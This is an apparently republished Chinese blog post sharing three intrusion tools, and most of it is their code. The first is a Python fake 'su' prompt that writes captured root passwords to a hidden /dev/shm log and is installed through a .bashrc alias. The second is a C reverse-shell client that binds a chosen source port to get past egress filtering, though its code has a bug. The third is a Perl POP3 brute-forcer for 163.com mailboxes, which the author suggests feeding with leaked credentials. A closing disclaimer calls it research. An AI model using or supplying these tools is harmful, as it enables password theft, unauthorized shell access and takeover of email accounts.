发布时间:2019-09-18 07:26:08编辑:auto阅读(1745)
渗透的很多时候,在网上找到的工具并不适用,自己写代码才是王道,下面三个程序都是渗透时在网络上找不到合适工具,自己辛苦开发的红黑联盟,短小使用,求欣赏,求好评。
0×01
记录root密码小工具:
root.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
#!/usr/bin/python import
os, sys, getpass, time current_time
= time.strftime( "%Y-%m-%d
%H:%M" ) logfile= "/dev/shm/.su.log"
//密码获取后记录在这里 #CentOS
#fail_str
= "su:
incorrect password" #Ubuntu
#fail_str
= "su:
Authentication failure" #For
Linux Korea //centos,ubuntu,korea
切换root用户失败提示不一样 fail_str
= "su:
incorrect password" try : passwd
= getpass.getpass(prompt= 'Password:
' ); file=open(logfile, 'a' ) file.write( "[%s]t%s" %(passwd,
current_time)) //截取root密码 file.write( 'n' ) file.close() except: pass time.sleep( 1 ) print
fail_str //打印切换root失败提示 |
打印切换root失败提示
渗透linux拿到低权限并提权无果时,将这个程序传上去,再将一个低权限用户目录下的.bashrc添加一句alias su=’/usr/root.py’; 低权限用户su root 后 成功记录密码。密码记录路径请看脚本
0×02
设置源端口反弹shell
渗透某个linux服务器,反连时目标端口为888不行,53,80还是不行,
Ping了下百度 可以ping通,
那真相只有一个
服务器变态的限制了只能某些提供已某些端口为源端口去连接外面
比如
只允许接收对80端口的访问数据包,并以80为源端口向外回复数据。
谷歌程序无果,自己查了相关api后写了个。
client-port.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
|
#include
<stdio.h> #include
<sys/types.h> #include
<sys/socket.h> #include
<netinet/in.h> #include
<netdb.h> void
error( char
*msg) { perror(msg); exit( 0 ); } int
main( int
argc, char
*argv[]) { int
sockfd, portno, lportno,n; struct
sockaddr_in serv_addr; struct
sockaddr_in client_addr; struct
hostent *server; char
buffer[ 256 ]; if
(argc < 3 )
{ fprintf(stderr, "usage
%s hostname port LocalPortn" ,
argv[ 0 ]); exit( 0 ); }
//三个参数,目标主机,目标主机端口,本地源端口 portno
= atoi(argv[ 2 ]); sockfd
= socket(AF_INET, SOCK_STREAM, 0 ); if
(sockfd < 0 ) error( "ERROR
opening socket" ); bzero(( char
*) &client_addr, sizeof(client_addr)); lportno
= atoi(argv[ 3 ]); client_addr.sin_family
= AF_INET; client_addr.sin_addr.s_addr
= INADDR_ANY; client_addr.sin_port
= htons(lportno); //设置源端口 if
(bind(sockfd, (struct sockaddr *) &client_addr, sizeof(client_addr))
< 0 ) error( "ERROR
on binding" ); server
= gethostbyname(argv[ 1 ]); if
(server == NULL) { fprintf(stderr, "ERROR,
no such host " ); exit( 0 ); } bzero(( char
*) &serv_addr, sizeof(serv_addr)); serv_addr.sin_family
= AF_INET; bcopy(( char
*)server->h_addr, ( char
*)&serv_addr.sin_addr.s_addr, server->h_length); serv_addr.sin_port
= htons(portno); if
(connect(sockfd,&serv_addr,sizeof(serv_addr)) < 0 )
//连接 error( "ERROR
connecting" ); dup2(fd,
0 ); dup2(fd,
1 ); dup2(fd,
2 ); execl( "/bin/sh" , "sh
-i" ,
NULL); //执行shell
close(fd);
} |
用法:
1
gcc client-port.c -o
port
1
chmod
+x port
1
./port
你的IP 你的监听端口 本地的源端口
如 ./port http://www.2cto.com 80 80
红黑联盟成功反弹shell 提权成功
0×03 邮箱爆破脚本
某个时候 需要爆破一批邮箱
Burp163.pl
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
#!/usr/bin/perl use
Net::POP3; $email= "pop.163.com" ;
//设置pop服务器地址
qq为pop.qq.com $pop
= Net::POP3-> new ($email)or
die( "ERROR:
Unable to initiate. " ); print
$pop->banner(); $pop->quit; $i= 0 ; open(fp1, "user.txt" );
@array1 =<fp1>; open(fp2, "pass.txt" ); @array2 =<fp2>;
//从文件中获取邮箱用户名及密码 foreach
$a( @array1 )
{ $u=substr($a, 0 ,length($a)- 1 ); $u=$u. "@163.com" ; foreach
$b( @array2 )
{ $p=substr($b, 0 ,length($b)- 1 ); print
"cracked
with " .$u. "-----" .$p. "n" ; $i=$i+ 1 ; $pop
= Net::POP3-> new ($email)or
die( "ERROR:
Unable to initiate. " ); $m=$pop->login($u,$p);
//尝试登录邮箱 if ($m> 0 ) { print
$u. "------------" .$p. "----" . "success" . "n" ; $pop->quit; }
//成功登录 else { print
$u. "------------" .$p. "----" . "failed" . "n" ; $pop->quit;
//登录失败 } } } print
$i; |
用法 将要爆破的邮箱的pop服务器写入下面这一行 默认是163邮箱
$email="pop.163.com";
再将去除掉@后面部分的邮箱地址比如sude@163.com 去除后sude存进去
同目录user.txt中吗,再将字典存进去pass.txt
你会说
这个有点鸡肋吧 万一邮箱的密码很复杂
呵呵
搞到了一个小站的数据,
用这个程序批量测试密码是否就是邮箱密码 呵呵
我啥都没说。
0×04
这三个程序仅供技术研究,如读者用于违法行为,本人概不负
上一篇: Python入门篇(一)
下一篇: zabbix-进阶-3
47840
46386
37279
34731
29312
25970
24909
19949
19541
18026
5790°
6411°
5926°
5960°
7063°
5910°
5942°
6437°
6404°
7776°